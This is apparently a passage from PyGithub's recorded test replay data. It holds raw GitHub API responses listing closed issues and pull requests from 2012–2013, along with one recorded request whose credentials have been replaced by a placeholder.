1.5","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-08-23T07:44:21Z","updated_at":"2012-09-05T17:56:28Z","due_on":"2012-09-06T07:00:00Z"},"comments":4,"created_at":"2012-08-21T21:47:28Z","updated_at":"2012-09-05T17:12:16Z","closed_at":"2012-09-05T17:12:16Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I'm just starting to to use PyGithub (and python). Thanks for creating such a useful tool. I'm teaching a large class and using PyGithub to programmatically manage hundreds of repos.\n\nIs there a way to delete a repo via PyGithub? github API v3 includes this, but I don't see a Repository.delete() method in PyGithub.\n\nAnother minor (and unrelated) issue: Is there a way to get_team by name (instead of by id)? The only way I can see to find a team by name is by iterating over all teams and looking at team.name.\n\nThanks for your help."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/119","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/119/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/119/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/119/events","html_url":"https://github.com/jacquev6/PyGithub/issues/119","id":9209408,"number":119,"title":"gists new api","user":{"login":"cancerhermit","id":1584557,"avatar_url":"https://secure.gravatar.com/avatar/9be6dcfe3820b88a23001e4758ca6703?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9be6dcfe3820b88a23001e4758ca6703","url":"https://api.github.com/users/cancerhermit","html_url":"https://github.com/cancerhermit","followers_url":"https://api.github.com/users/cancerhermit/followers","following_url":"https://api.github.com/users/cancerhermit/following{/other_user}","gists_url":"https://api.github.com/users/cancerhermit/gists{/gist_id}","starred_url":"https://api.github.com/users/cancerhermit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cancerhermit/subscriptions","organizations_url":"https://api.github.com/users/cancerhermit/orgs","repos_url":"https://api.github.com/users/cancerhermit/repos","events_url":"https://api.github.com/users/cancerhermit/events{/privacy}","received_events_url":"https://api.github.com/users/cancerhermit/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16/labels","id":215570,"number":16,"title":"Version 1.10.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":10,"state":"closed","created_at":"2012-11-19T20:02:45Z","updated_at":"2012-12-25T12:25:01Z","due_on":null},"comments":4,"created_at":"2012-12-12T08:47:25Z","updated_at":"2012-12-21T20:39:17Z","closed_at":"2012-12-21T20:39:17Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"https://github.com/blog/1276-welcome-to-a-new-gist . git:// not work, new urls is https://"}] https GET api.github.com None /issues?direction=asc&filter=assigned&labels=Requested+by+user&page=2&since=2012-05-28T23%3A00%3A00Z&sort=comments&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '143568'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 11:34:11 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first", ; rel="prev"'), ('etag', '"36fb6631d2714acfd6169b3d779277e5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:35:13 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88/events","html_url":"https://github.com/jacquev6/PyGithub/issues/88","id":6912733,"number":88,"title":"Use Python logging to log raw requests","user":{"login":"quixotique","id":1477470,"avatar_url":"https://secure.gravatar.com/avatar/806d200fb8f92bd618cc7063a3b62013?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"806d200fb8f92bd618cc7063a3b62013","url":"https://api.github.com/users/quixotique","html_url":"https://github.com/quixotique","followers_url":"https://api.github.com/users/quixotique/followers","following_url":"https://api.github.com/users/quixotique/following{/other_user}","gists_url":"https://api.github.com/users/quixotique/gists{/gist_id}","starred_url":"https://api.github.com/users/quixotique/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/quixotique/subscriptions","organizations_url":"https://api.github.com/users/quixotique/orgs","repos_url":"https://api.github.com/users/quixotique/repos","events_url":"https://api.github.com/users/quixotique/events{/privacy}","received_events_url":"https://api.github.com/users/quixotique/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13/labels","id":174087,"number":13,"title":"Version 1.8.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2012-09-12T19:53:14Z","updated_at":"2012-09-30T18:12:03Z","due_on":"2012-09-30T07:00:00Z"},"comments":5,"created_at":"2012-09-17T08:19:42Z","updated_at":"2012-09-25T20:57:52Z","closed_at":"2012-09-25T20:57:52Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/88","diff_url":"https://github.com/jacquev6/PyGithub/pull/88.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/88.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I replaced the commented-out print statement in Requester.py with a call to Python [logging](http://docs.python.org/library/logging.html) so that users have the option to trace low-level api.github.com requests without having to hack their installed PyGithub package: they just put `logging.getLogger('github').setLevel(logging.DEBUG)` in their script.\n\nI don't have any strong opinion as to whether you should pull this change or not. I found it useful while debugging #87, you may decide you don't like it; no problem."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131/events","html_url":"https://github.com/jacquev6/PyGithub/issues/131","id":9948505,"number":131,"title":"Fix PullRequestPart when using get_pulls() and the head user is an Organization","user":{"login":"sbesson","id":1355463,"avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","url":"https://api.github.com/users/sbesson","html_url":"https://github.com/sbesson","followers_url":"https://api.github.com/users/sbesson/followers","following_url":"https://api.github.com/users/sbesson/following{/other_user}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","organizations_url":"https://api.github.com/users/sbesson/orgs","repos_url":"https://api.github.com/users/sbesson/repos","events_url":"https://api.github.com/users/sbesson/events{/privacy}","received_events_url":"https://api.github.com/users/sbesson/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19/labels","id":234630,"number":19,"title":"Version 1.11.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-12-25T12:26:40Z","updated_at":"2013-02-07T18:18:31Z","due_on":"2013-02-08T08:00:00Z"},"comments":5,"created_at":"2013-01-14T16:46:39Z","updated_at":"2013-02-04T09:57:31Z","closed_at":"2013-02-03T17:33:11Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/